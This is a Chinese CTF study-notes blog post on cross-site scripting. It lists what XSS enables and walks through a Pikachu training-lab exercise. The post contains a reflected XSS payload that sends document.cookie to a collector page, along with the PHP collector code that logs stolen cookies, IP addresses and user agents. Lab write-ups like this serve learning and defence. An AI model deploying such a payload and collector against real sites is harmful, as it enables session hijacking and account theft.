跨站脚本攻击漏洞怎么修复_CTF自学笔记(三)跨站脚本攻击[三]

1d05fe0d5b9c33c571f0cc30d18e85d3.gif

点击上方蓝字关注!

注:本篇文章为个人学习笔记仅供学习交流。

e867a594f816b45af4db5f475f025b3f.gif

NO.3

2020.8.9 

星期日


XSS漏洞危害与利用技巧

在浏览器中XSS漏洞所能做的事情通过XSS漏洞都可以完成。XSS漏洞可实现的功能包括但不限于:
  • 窃取用户cookie信息,伪造用户身份;

  • 与浏览器DOM对象进行交互,执行受害者所有可以执行的操作;

  • 获取网页源码;

  • 发起HTTP请求;

  • 使用HTML5 Geolocation API获取地理位置信息;

  • 使用WebRTC API获取网络信息;

  • 发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击;

个别示例

漏洞平台->PiKachu漏洞平台搭建 利用xss获取cookie 先打开cookie.php修改重定向URL,如下图:

9e8507977ca8dc88e0724fd67fd625c1.png

9d754d379a37c286fcc992095a122ec9.png

到反射型xss(get)关卡插入如下payload,可以通过修改源代码扩大可输入的字符数,如下:

e65f2443cf061fad5e401b0fc4c548f7.png

<script>document.location='http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' +document.cookie;script>   
在输入框插入payload后按回车就会重定向到我们刚才修改的页面。

1d11949cd00bb7d7aa36036ed56f39ad.png

此时我们登陆后台就可以看到cookie了。

ebd2257bc9cafe1c534edc7b40abc328.png

5e9f604e1abf40b10cef39c3a4566bb4.png

主要获取cookie的PHP代码
<?php include_once '../inc/config.inc.php';include_once '../inc/mysql.inc.php';$link=connect();//这个是获取cookie的api页面if(isset($_GET['cookie'])){    $time=date('Y-m-d g:i:s');    $ipaddress=getenv ('REMOTE_ADDR');    $cookie=$_GET['cookie'];    $referer=$_SERVER['HTTP_REFERER'];    $useragent=$_SERVER['HTTP_USER_AGENT'];    $query="insert cookies(time,ipaddress,cookie,referer,useragent)     values('$time','$ipaddress','$cookie','$referer','$useragent')";    $result=mysqli_query($link, $query);}header("Location:http://127.0.0.1/pikachu-master/index.php");//重定向到一个可信的网站?>

cedd5ecd4869b789ce6ec25dcdf19e7d.gif

- End -

92bd4b0952a9a9dc4cde8277e1a2e963.png 往期推荐
  • CTF自学笔记(三)跨站脚本攻击[一]

  • CTF自学笔记(三)跨站脚本攻击[二]

e096c11150c8b6c16ebce158193ed495.png觉得不错,请点个在看

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值